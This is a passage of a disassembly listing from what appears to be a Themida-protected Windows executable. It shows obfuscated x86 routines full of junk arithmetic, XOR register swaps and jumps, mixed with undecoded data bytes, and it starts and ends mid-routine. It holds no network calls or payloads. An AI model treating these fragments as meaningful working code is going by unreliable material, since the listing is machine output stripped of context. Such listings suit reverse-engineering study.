		and	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55AF60
; ---------------------------------------------------------------------------


loc_552B88:				; CODE XREF: Themida_:0055074Ej
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], edi
		pop	eax
		pop	edi
		push	0DA0h
		jmp	loc_54F75D
; ---------------------------------------------------------------------------


loc_552BB0:				; CODE XREF: Themida_:00553F8Fj
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 7CD73C51h
		xor	eax, edi
		pop	edi
		mov	[edi+20h], eax
		mov	eax, [esp]
		push	ebx
		jmp	loc_55988A
; ---------------------------------------------------------------------------
		db 0ADh
		dd 42EE9h, 10500h, 0E0C10000h, 562CE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552BDE:				; CODE XREF: Themida_:00554235j
		sub	eax, esi
		jmp	loc_556F2B
; ---------------------------------------------------------------------------


loc_552BE5:				; CODE XREF: Themida_:00552298j
		sub	edi, ebp
		pop	ebp
		shr	edi, 6
		shl	edi, 7
		sub	edi, 3CE74C8Bh
		xor	edi, 0C951E66Bh
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shl	ecx, 2
		push	edi
		mov	edi, 18087DA5h
		xor	edi, 19387740h
		push	esi
		mov	esi, 3B4E1A28h
		xor	edi, esi
		pop	esi
		sub	ecx, edi
		jmp	loc_54F3A0
; ---------------------------------------------------------------------------


loc_552C21:				; CODE XREF: Themida_:0055203Dj
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		inc	ebx
		inc	ebx
		not	ebx
		sub	ebx, 78262D04h
		sub	ebx, 4B4CB88Ah
		mov	edx, ebx
		pop	ebx
		jmp	loc_55950A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 0F0C3805Ch,	0EB80C328h, 666866F0h
		dd 489667Ch, 43B424h, 48B66E3h,	2C48324h, 0E9C0B60Fh, 3625h
; ---------------------------------------------------------------------------


loc_552C6C:				; CODE XREF: Themida_:00553963j
		add	ecx, ebx
		add	ecx, 45E56550h
		add	ecx, 736F171Eh
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0B5BA467Eh, 895DEA01h, 0EB295AD3h, 5D2434FFh, 6916E9h
		db 0
; ---------------------------------------------------------------------------


loc_552CAD:				; CODE XREF: Themida_:00550AF1j
		add	dword ptr [esp+4], 78E33F0Fh
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55153B
; ---------------------------------------------------------------------------
		dw 5250h
		dd 99222E68h, 0E2C15A14h, 4AD2F703h, 3058B951h,	0C98102A1h
		dd 3F737E11h, 96E9D9F7h, 0FFFFFFDDh, 8B042474h,	89512404h
		dd 0C2BB53E1h, 816BCD78h, 0A04C73C3h, 7BCB8174h, 0F7367633h
		dd 84F381D3h, 1098008h,	0F3E95BD9h, 5DFFFFD2h, 1CD2E9h
		dd 0BD36E900h, 68ACFFFFh, 7C5h,	0E9240C89h, 0FFFFE073h
		dd 626431BBh, 5BDE2149h, 4012F681h, 0C1814800h,	0E1D2BE0h
		dd 0B9E9F101h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552D4F:				; CODE XREF: Themida_:00556D1Dj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5503A9
; ---------------------------------------------------------------------------
		dd 0D2B8505Eh, 3523F35Dh, 1A507F94h, 5CDDBE05h,	4E46E9C6h
		dd 0D9010000h, 3A4CC181h, 835B4F08h, 0C8904ECh,	2474FF24h
		dd 2434FF04h, 0E9240C8Bh, 0FFFFEB84h, 5224048Bh, 0B850E289h
		dd 4, 8358C201h, 148704C2h, 7BE95C24h, 57000048h, 42474FFh
		dd 24048F5Fh, 0FF24248Bh, 48B2434h, 4C48124h, 57000000h
		dd 51555F54h, 6D7EC4B9h, 595D5124h, 54E9D5F7h, 58000071h
		dd 299AF181h, 0CA090075h, 0F7EA8759h, 7CC9E9D5h, 815B0000h
		dd 8A3BB0F1h, 0CE15E954h, 0C381FFFFh, 0FFCF5E7Fh, 2087E9h
		dd 4BD5500h, 1000000h, 242C8BEEh, 0E904C483h, 0FFFFFC3Dh
		dd 240C8B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0AD7h
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_54F049
; ---------------------------------------------------------------------------
		db 68h,	76h, 3Ah
		dd 34FF013Eh, 0C4835D24h, 84ED8104h, 0C13DBA3Ah, 5AE905EDh
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552E47:				; CODE XREF: Themida_:00553726j
		mov	[esp], esi
		mov	esi, 0FB6767Ch
		xor	ebx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		not	ebx
		push	10BBh
		mov	[esp], edi
		mov	edi, 388A4BE8h
		jmp	loc_556805
; ---------------------------------------------------------------------------


loc_552E77:				; CODE XREF: Themida_:00550A03j
		add	esi, 5E1F1FF6h
		add	esi, 47903C39h
		add	esi, ebp
		sub	esi, 47903C39h
		sub	esi, 5E1F1FF6h
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_54F1BD
; ---------------------------------------------------------------------------
		db 59h,	66h, 8Bh
		dd 0C483241Ch, 5F5EE902h, 0F7210000h, 0FFD987E9h, 40E958FFh
		dd 68FFFFCAh, 42E6h, 68242C89h,	8E91045h, 8BE8295Dh, 0C483242Ch
		dd 158AE904h, 15E0000h,	1062E9EFh, 14870000h, 11685C24h
		dd 0E900003Eh, 4C61h, 7E0768h, 241C8900h, 707015BBh, 0CBBA5273h
		dd 53267B17h, 0FFC7A7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552F11:				; CODE XREF: Themida_:0054ECDCj
		mov	[esp], edx
		push	10h
		jmp	loc_54F1A8
; ---------------------------------------------------------------------------
		dw 0DF01h
		dd 18F5EF81h, 875B4FE2h, 0B1E9243Ch, 8100003Ch,	391202E1h
		dd 0D7E18127h, 0E937D659h, 2221h, 5B2434FFh, 0E904C483h
		dd 0FFFFBC37h, 505FF801h, 42474FFh, 15B9E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552F5A:				; CODE XREF: Themida_:00552767j
		pop	esp
		push	edx
		jmp	loc_550029
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 8Bh
		dd 0C481242Ch, 4, 5D3C68h, 24348900h, 81E18951h, 4C1h
		dd 4E98100h, 87000000h,	895C240Ch, 0A5BD242Ch, 536C6263h
		dd 9112BBBh, 5BDD0173h,	0A2E9EDD1h, 0B9FFFFF1h,	4, 0C8BC801h
		dd 4C48124h, 33000000h,	4312404h, 24043324h, 0E189515Ch
		dd 4C181h, 0E9830000h, 240C3304h, 33240C31h, 895C240Ch
		dd 168242Ch, 0FF000000h, 34FF2434h, 0C4835D24h,	28D0E904h
		dd 8B660000h, 5768240Ch, 89000023h, 41E92414h, 8B00001Ch
		dd 85E9243Ch, 57FFFFF9h, 8C7EB8BFh, 485B2D69h, 0F8017495h
		dd 95485B05h, 0D8295F74h, 4CE56855h, 0A2E90000h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55301F:				; CODE XREF: Themida_:0055AE17j
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_555274
; ---------------------------------------------------------------------------
		dd 0E9243C89h, 0FFFFBAF1h, 2C4F6CBEh, 1002E904h, 0E8310000h
		dd 8BC1015Dh, 23E92404h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55304F:				; CODE XREF: Themida_:00554E22j
		or	esi, 2D5F6659h
		jmp	loc_54F385
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 20E90000h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553067:				; CODE XREF: Themida_:005549BBj
		or	edi, 67B03752h
		jmp	loc_54F91F
; ---------------------------------------------------------------------------
		dd offset dword_457444+26D3Dh
		dw 19ACh
		dd 0D838E950h, 8358FFFFh, 348702C6h, 8B665C24h,	89532404h
		dd 4BF57E3h, 51000000h,	5C2208B9h, 0E1C14100h, 3CF18107h
		dd 8111A12Bh, 0D92253C1h, 59CB01F5h, 0BF57FB01h, 458D5AB1h
		dd 6188C781h, 0E7813375h, 578A40D6h, 8107EFC1h,	0A85EFFC7h
		dd 0F0F78166h, 2952C330h, 0D6DAE9FBh, 0B850FFFFh, 2, 0FFE797E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5530E1:				; CODE XREF: Themida_:00557886j
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_550DDA
; ---------------------------------------------------------------------------


loc_5530EF:				; CODE XREF: Themida_:00557034j
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 405h,	4AC06800h, 1C890000h, 0B6E95624h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553117:				; CODE XREF: Themida_:00556A74j
		mov	[esp], ecx
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7E14797Dh
		and	ebx, 54697D79h
		dec	ebx
		push	eax
		mov	eax, 0
		sub	eax, ebx
		xchg	eax, ebx
		pop	eax
		add	ebx, 79F37410h
		sub	ebx, 0F29EB00Fh
		jmp	loc_5552A7
; ---------------------------------------------------------------------------
		dd 5EF968h, 241C8900h, 0FFF73DE9h, 56E189FFh, 0FFF95CE9h
		dd 24048FFFh, 0D224248Bh, 0E99C242Ch, 0FFFFFBB5h, 5A0768h
		dd 240C8900h, 4B9h, 7B78E900h, 4810000h, 424h, 0C7815F00h
		dd 4, 8904EC83h, 96E9240Ch
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553197:				; CODE XREF: Themida_:00553500j
		mov	[esp], eax
		push	4188h
		mov	[esp], ebx
		mov	ebx, 7597558Fh
		push	ecx
		push	esi
		mov	esi, 8A68AA70h
		mov	ecx, esi
		jmp	loc_5577E2
; ---------------------------------------------------------------------------


loc_5531B5:				; CODE XREF: Themida_:00553619j
		pop	esp
		or	edx, eax
		jmp	loc_54ECEC
; ---------------------------------------------------------------------------


loc_5531BD:				; CODE XREF: Themida_:0055AC3Bj
		add	edx, 4
		jmp	loc_555BC6
; ---------------------------------------------------------------------------
		dd 8704C083h, 575C2404h, 4BFh, 5FFE2900h, 2474FF56h, 48F5E04h
		dd 24248B24h, 0E9240C89h, 0FFFFB870h, 0FFB86BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5531F1:				; CODE XREF: Themida_:00556FAEj
		inc	ebx
		push	eax
		push	edx
		mov	edx, 2B126739h
		neg	edx
		jmp	loc_55A092
; ---------------------------------------------------------------------------


loc_553200:				; CODE XREF: Themida_:0055799Cj
		push	edx
		push	eax
		push	edx
		jmp	loc_555B8F
; ---------------------------------------------------------------------------
		dd 2387F381h, 0E3C16104h, 7DEB8107h, 0E929C432h, 0FFFFE51Dh
		dd 0C38830B0h, 289F0458h, 0FF9F2CD8h, 535B2434h, 0BD55E389h
		dd 4, 0FEE9EB01h, 80FFFFD1h, 0FA86C5F2h, 0FA86D7F6h, 0FA86D2F6h
		dd 0FA86D7F6h, 0FFCB67E9h, 2474FFFFh, 48F5E04h,	0C3305C24h
		dd 56C0B60Fh, 365CE954h, 89520000h, 0BE51E9E2h,	0E9C1FFFFh
		dd 0FEE18108h, 81339470h, 7B71EDC9h, 0E29DE931h, 555FFFFFh
		dd 8E624BBDh, 5DEE0158h, 7BE1E9h, 76BF5700h, 8156243Bh
		dd 0D360CDF7h, 0BA52554Fh, 103E7333h, 0FFBA56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5532A9:				; CODE XREF: Themida_:005574F1j
		shl	ebp, 5
		neg	ebp
		add	ebp, 50F0088Fh
		mov	eax, ebp
		pop	ebp
		add	eax, 4468BBEFh
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_553949
; ---------------------------------------------------------------------------


loc_5532CD:				; CODE XREF: Themida_:00551DC4j
		pop	ebp
		mov	eax, edi
		pop	edi
		jmp	loc_5587CC
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 1ADBC781h, 555E4B74h, 2163E9h, 1C77FF00h, 0D259669Dh
		dd 0E99C2414h, 0FFFFB768h, 4C481h, 0B8500000h, 4, 6B84B951h
		dd 0CB017549h, 0FFE751E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55330D:				; CODE XREF: Themida_:005572A7j
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		jmp	loc_553A40
; ---------------------------------------------------------------------------


loc_55331A:				; CODE XREF: Themida_:0055708Dj
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_558376
; ---------------------------------------------------------------------------
		dd 0E457DE2Dh, 0F5054021h, 958C885h, 0E2C158C2h, 0DCF28103h
		dd 1DFFB24h, 8E95AD6h, 5200003Ch, 4BAh,	8AE98100h, 1594123h
		dd 8AC181D1h, 5A594123h, 386FE9h, 0DEED8000h, 0E959EB00h
		dd 1595h, 58C3015Ah, 31241C33h,	1C33241Ch, 66F9E924h, 56B90000h
		dd 815B1D2Eh, 8A1C5FE1h, 0EC81493Dh, 4,	0BE243489h, 44432FF6h
		dd 348BF131h, 4C48324h,	23A7F181h, 0CE015D4Bh, 4B95159h
		dd 0E9000000h, 7966h, 523EE95Eh, 0FA010000h, 4644E95Fh
		dd 0C7800000h, 0CCBEE907h, 0C89FFFFh, 0E960B524h, 0Eh
; ---------------------------------------------------------------------------


loc_5533D4:				; CODE XREF: Themida_:0054EB62j
		pop	eax
		sub	al, 0D1h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_559EE9
; ---------------------------------------------------------------------------
		dw 0E828h
		dd 140CE959h, 0F1010000h, 76E7E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5533F2:				; CODE XREF: Themida_:00557D5Dj
		pop	esp
		sub	[edi+24h], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4


loc_553400:				; CODE XREF: Themida_:005548EFj
		push	6652h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_55ADA0
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4B951h, 0CB010000h, 241C3359h, 33241C31h, 0FF5C241Ch
		dd 48B2434h, 1740E924h,	0E9550000h, 0FFFFD595h,	840FC00Bh
		dd 926h, 5BAB68h, 242C8900h, 0FE68h, 6F215D00h,	242C8B1Ch
		dd 4EC8353h, 6BDBE9h, 24143100h, 22F3E9h, 5D545500h, 4C581h
		dd 91E90000h, 21000020h, 0DEF75AD6h, 1720EE81h,	0F031EA9Dh
		dd 5524348Bh, 6EBBE9h, 74015B00h, 44810424h, 45260424h
		dd 8DE91CABh, 66000008h, 68240C8Bh, 6E9Fh, 89243489h, 0BDBB53E6h
		dd 5202CC2Ah, 0FFEB16E9h, 468FFh, 15B0000h, 8B04245Ch
		dd 8951241Ch, 4C181E1h,	57000000h, 0FFC210E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5534D5:				; CODE XREF: Themida_:0054F018j
		sub	edi, 57A728DCh
		push	edx
		push	edi
		sub	dword ptr [esp], 3D723A0Ch
		pop	edx
		add	edx, 3D723A0Ch
		sub	esp, 4
		mov	[esp], edx
		pop	eax
		pop	edx
		mov	edi, [esp]
		jmp	loc_550D40
; ---------------------------------------------------------------------------


loc_5534FB:				; CODE XREF: Themida_:005536DDj
		push	12F2h
		jmp	loc_553197
; ---------------------------------------------------------------------------
		db 0B9h, 0DAh, 6Bh
		dd 0CE297F18h, 7120E959h, 0C5810000h, 962996h, 7532C781h
		dd 0EF01352Fh, 7532EF81h, 335D352Fh, 3C31243Ch,	243C3324h
		dd 5B46E9h, 0C0835A00h,	10501h,	2BE90000h, 59000038h, 21E9C829h
		dd 54FFFFE2h, 2BB85059h, 55713974h, 0B4458FBDh,	0DCC58152h
		dd 0E93A746Bh, 301h
; ---------------------------------------------------------------------------


loc_553564:				; CODE XREF: Themida_:005572F5j
		jmp	loc_55AE10
; ---------------------------------------------------------------------------


loc_553569:				; CODE XREF: Themida_:00555212j
		pop	esp
		jmp	loc_5522A9
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFC49CE9h, 0B4E2E9FFh, 0FFB1FFFFh, 6C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_553581:				; CODE XREF: Themida_:00557D25j
		push	dword ptr [esp]
		jmp	loc_552B73
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 5104C483h, 5E7BBB53h, 0F3E97AA1h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55359B:				; CODE XREF: Themida_:00555C00j
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_55A6D6
; ---------------------------------------------------------------------------
		db 66h
		dd 0A968665Ah, 14896678h, 3F90E924h, 5B580000h,	0E9C4EB80h
		dd 2BDAh
; ---------------------------------------------------------------------------


loc_5535C4:				; CODE XREF: Themida_:0054EAA6j
		xor	ebp, ecx
		pop	ecx
		not	ebp
		xor	ebp, 8D79E3E1h
		xor	edx, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55A24C
; ---------------------------------------------------------------------------


loc_5535E8:				; CODE XREF: Themida_:005587F5j
		push	ebx
		push	292921D7h
		jmp	loc_559EF0
; ---------------------------------------------------------------------------


loc_5535F3:				; CODE XREF: Themida_:00555D6Dj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5510B4
; ---------------------------------------------------------------------------


loc_553608:				; CODE XREF: Themida_:0054FD99j
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5531B5
; ---------------------------------------------------------------------------


loc_55361E:				; CODE XREF: Themida_:005507ABj
		mov	ch, 44h
		jmp	loc_55A0EE
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	6B78h
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	edi
		mov	edi, 59884229h
		and	edi, 688948DBh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7B336B2h
		or	edi, ebp
		pop	ebp
		sub	edi, 2B5268DDh
		shl	edi, 4
		jmp	loc_5573B1
; ---------------------------------------------------------------------------
		db 59h
		dd 2C38359h, 2474FF53h,	48F5B04h, 4305C24h, 0DDE99C24h
		dd 89FFFFB3h, 0BA525BDAh, 191C3DE6h, 8104E2C1h,	0B81AE0F2h
		dd 4EAC169h, 776CE9h, 0D0295900h, 5124148Bh, 0C181E189h
		dd 4, 6392E953h, 0EB810000h, 4,	8B241C87h, 34892424h, 0B6D2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5536C2:				; CODE XREF: Themida_:0055246Aj
		push	6B4Dh
		jmp	loc_55730E
; ---------------------------------------------------------------------------


loc_5536CC:				; CODE XREF: Themida_:0054F1B8j
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_558A22
; ---------------------------------------------------------------------------


loc_5536D9:				; CODE XREF: Themida_:005505B1j
		or	edx, eax
		shl	edx, 1
		jmp	loc_5534FB
; ---------------------------------------------------------------------------
		dw 34FFh
aS?_0		db '$é?=',0
		align 2
		dw 0BE56h
		dd 2CFF6DFEh, 1C76B951h, 0C6814BDEh, 2BF039F3h,	0EE81CE29h
		dd 2BF039F3h, 81D6F759h, 4D29B3EEh, 0A68E971h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553712:				; CODE XREF: Themida_:0054FA3Cj
		mov	ebx, 42CE7652h
		xor	ebx, 5C0D6384h
		add	ebx, 5FA9537Fh
		sub	esp, 4
		jmp	loc_552E47
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 0EC83E089h, 24148904h, 0FFE270E9h, 241489FFh
		dd 719CE9h, 503DB700h, 0E688FC88h, 0FFFE69E9h, 0E9E95FFFh
		dd 0B7FFFFD8h, 3F31E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55375E:				; CODE XREF: Themida_:0054EDD9j
		mov	ebx, 5B0E3AAFh
		mov	edx, ebx
		pop	ebx
		inc	edx
		dec	edx
		xor	edx, 6C4E0630h
		push	274Dh
		mov	[esp], ebp
		mov	ebp, 5DAE5520h
		neg	ebp
		push	eax
		push	0DC22A5B1h
		pop	eax
		xor	ebp, eax
		jmp	loc_550278
; ---------------------------------------------------------------------------


loc_55378B:				; CODE XREF: Themida_:005501DDj
		add	esi, 4
		jmp	loc_557027
; ---------------------------------------------------------------------------


loc_553793:				; CODE XREF: Themida_:00550206j
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		add	bl, al
		push	ax
		push	ecx
		mov	ch, 95h
		add	ch, 0F3h
		mov	ah, ch
		pop	ecx
		add	bl, ah
		mov	ax, [esp]
		push	6D6Ah
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		movzx	eax, al
		jmp	loc_54EE34
; ---------------------------------------------------------------------------
		dd 2BABF781h, 0FD8962F7h, 6E5C15Fh, 0C7DC581h, 0F581573Dh
		dd 0B0432E77h, 598EE9h,	24048900h, 24048B54h, 5E08950h
		dd 4, 42Dh, 6336E900h, 0E9510000h, 3204h
; ---------------------------------------------------------------------------


loc_553818:				; CODE XREF: Themida_:0055268Dj
		push	ebx
		mov	ebx, 40000h
		push	ebx
		sub	dword ptr [esp], 1D1D5DC5h
		jmp	loc_55795F
; ---------------------------------------------------------------------------
		db 55h
		dd 0D9771A68h, 0F5815D67h, 21602613h, 510DF581h, 0EE8946B9h
		dd 5EF2015Dh, 0E9241487h, 21C7h, 0C8BEC88h, 4C48124h, 30000000h
		dd 0ED8058E5h, 2CED8086h, 6AFEE9h, 5EDC100h, 67E0E9h, 28E9B900h
		dd 0F1815F63h, 6F722636h, 0FFF9F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55387D:				; CODE XREF: Themida_:00550009j
		sub	ch, 80h
		and	ch, 0B2h
		add	ch, 0CDh
		add	ch, 0BFh
		jmp	loc_559E28
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 6D61211Eh, 0C381DBF7h, 56046D50h, 7828E9h, 241C8900h
		dd 4EC81h, 0C890000h, 0DF685524h, 8900007Ch, 0DFBA2414h
		dd 0BD7A535Eh, 58D81560h, 54F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5538C5:				; CODE XREF: Themida_:0055A24Fj
		pop	esp
		sub	edx, 5A3030F7h
		push	ebx
		mov	ebx, 159E597Bh
		shr	ebx, 1
		or	ebx, 7D48165Eh
		xor	ebx, 49133FD8h
		sub	edx, ebx
		pop	ebx
		and	eax, edx
		pop	edx
		jmp	loc_551C2F
; ---------------------------------------------------------------------------


loc_5538EB:				; CODE XREF: Themida_:0055209Ej
		mov	edi, 681E42D6h
		or	edi, 0A5F3FE0h
		xor	edi, 32B85E9Ch
		add	ebp, edi
		pop	edi
		sub	ebp, eax
		sub	ebp, 58E7216Ah
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		dd 8159CE01h, 4C6h, 24343300h, 33243431h, 248B2434h, 0B126E924h
		dd 0C389FFFFh, 0FFE58DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55393D:				; CODE XREF: Themida_:00551261j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_557673
; ---------------------------------------------------------------------------


loc_553949:				; CODE XREF: Themida_:005532C8j
		mov	esi, 68F927B2h
		sub	esi, 0BE4427Ah
		xor	esi, 2CBF2FE3h
		xor	esi, 344EAF8Bh
		sub	ecx, esi
		pop	esi
		jmp	loc_552C6C
; ---------------------------------------------------------------------------
		dd 80B4B151h, 0F8E95CE9h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_553973:				; CODE XREF: Themida_:00559DA9j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_552833
; ---------------------------------------------------------------------------


loc_553984:				; CODE XREF: Themida_:0054EEDCj
		push	4
		pop	edi
		push	eax
		jmp	loc_55487E
; ---------------------------------------------------------------------------


loc_553990:				; CODE XREF: Themida_:0055A72Fj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5507BC
; ---------------------------------------------------------------------------
		dw 0F281h
a6lS		db '6LÈ$é³:',0
		db 0
; ---------------------------------------------------------------------------


loc_5539AD:				; CODE XREF: Themida_:00554A7Bj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5577A3
; ---------------------------------------------------------------------------
		dw 0C521h
		dd 0ED814D58h, 51882FFEh, 0C4E9EF01h, 81000061h, 4C3h
		dd 4EC8300h, 50243C89h,	0ED08C8B8h, 585F5006h, 274FCF81h
		dd 56474E8Eh, 0AA1D18BEh, 0F4CCE932h, 0E981FFFFh, 4FDB6294h
		dd 0C107E1C1h, 0E9C105E9h, 0AFC18103h, 210518C7h, 0EF8159CFh
		dd 0C1230F25h, 0FFCBD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553A11:				; CODE XREF: Themida_:00553D76j
		pop	eax
		xor	dh, bl
		pop	ebx
		sub	al, dh
		mov	edx, [esp]
		jmp	loc_557EAA
; ---------------------------------------------------------------------------


loc_553A1F:				; CODE XREF: Themida_:0054ED7Bj
		xor	edx, 57F0AAC5h
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		idiv	cl
		movzx	cx, ah
		push	edi
		push	esp
		pop	edi
		jmp	loc_554D82
; ---------------------------------------------------------------------------


loc_553A40:				; CODE XREF: Themida_:00553315j
		mov	[esp], eax
		mov	eax, 38694030h
		jmp	loc_5522C5
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 0BFFE9h, 24148900h, 778AE9h,	0F7E0D100h, 2D8405D8h
		dd 0C3011FBEh, 3014E9h
		db 0
; ---------------------------------------------------------------------------


loc_553A6D:				; CODE XREF: Themida_:005561BCj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_55426E
; ---------------------------------------------------------------------------


loc_553A7A:				; CODE XREF: Themida_:0055A9E7j
		sub	edx, edi
		pop	edi
		mov	ecx, [edx]
		pop	edx
		push	3866h
		mov	[esp], ebx
		push	esp
		jmp	loc_55B106
; ---------------------------------------------------------------------------
		dw 25BEh
		dd 815A6841h, 684121EEh, 0E9F1015Ah, 647Ch, 5024048Bh
		dd 405E089h, 2D000000h,	4, 5C240487h, 68241C89h, 13E9h
		dd 83242489h, 5B042404h, 4D3468h, 243C8900h, 0DC0104BFh
		dd 0CF814755h, 26DB1A61h, 19D4E9h
		db 0
; ---------------------------------------------------------------------------


loc_553ADD:				; CODE XREF: Themida_:005570E3j
		add	ebx, 0DF03C22Dh
		mov	esi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 1DF24C0Eh
		and	ebp, 1D8C467Dh
		jmp	loc_554CD4
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFAF60h, 2E1DE1B8h, 24442978h, 4BE95804h,	8100005Dh
		dd 4C4h, 0E6895600h, 4C681h, 0FDE90000h, 1000004h, 0C6C381EBh
		dd 5D465218h, 0EB81C301h, 75DE2242h, 74FF5358h,	1C8B0424h
		dd 4C48124h, 8F000000h,	86E92404h, 2900006Fh, 191CE9F3h
		dd 0C330000h, 4095C24h,	0A0E99C24h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553B5B:				; CODE XREF: Themida_:00559490j
		sub	eax, 1
		xor	eax, 740C507Dh
		push	ecx
		jmp	loc_557B2D
; ---------------------------------------------------------------------------
		db 88h
		dd 0BFC9E9CBh, 0FCB9FFFFh, 1085251h, 0FAE9E9CBh, 0EF09FFFFh
		dd 1C7815Dh, 0C1000000h, 0C78106E7h, 284B3B60h,	0D203EF81h
		dd 8E9B12Ch
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553B9B:				; CODE XREF: Themida_:00557F21j
		sub	eax, 58BB44EFh
		jmp	loc_550FD3
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 65h
		dd 0E9659436h, 0FFFFAEACh, 4C281h, 53570000h, 4BBh, 0BB0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553BC2:				; CODE XREF: Themida_:005508D6j
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5542E3
; ---------------------------------------------------------------------------


loc_553BD5:				; CODE XREF: Themida_:00554362j
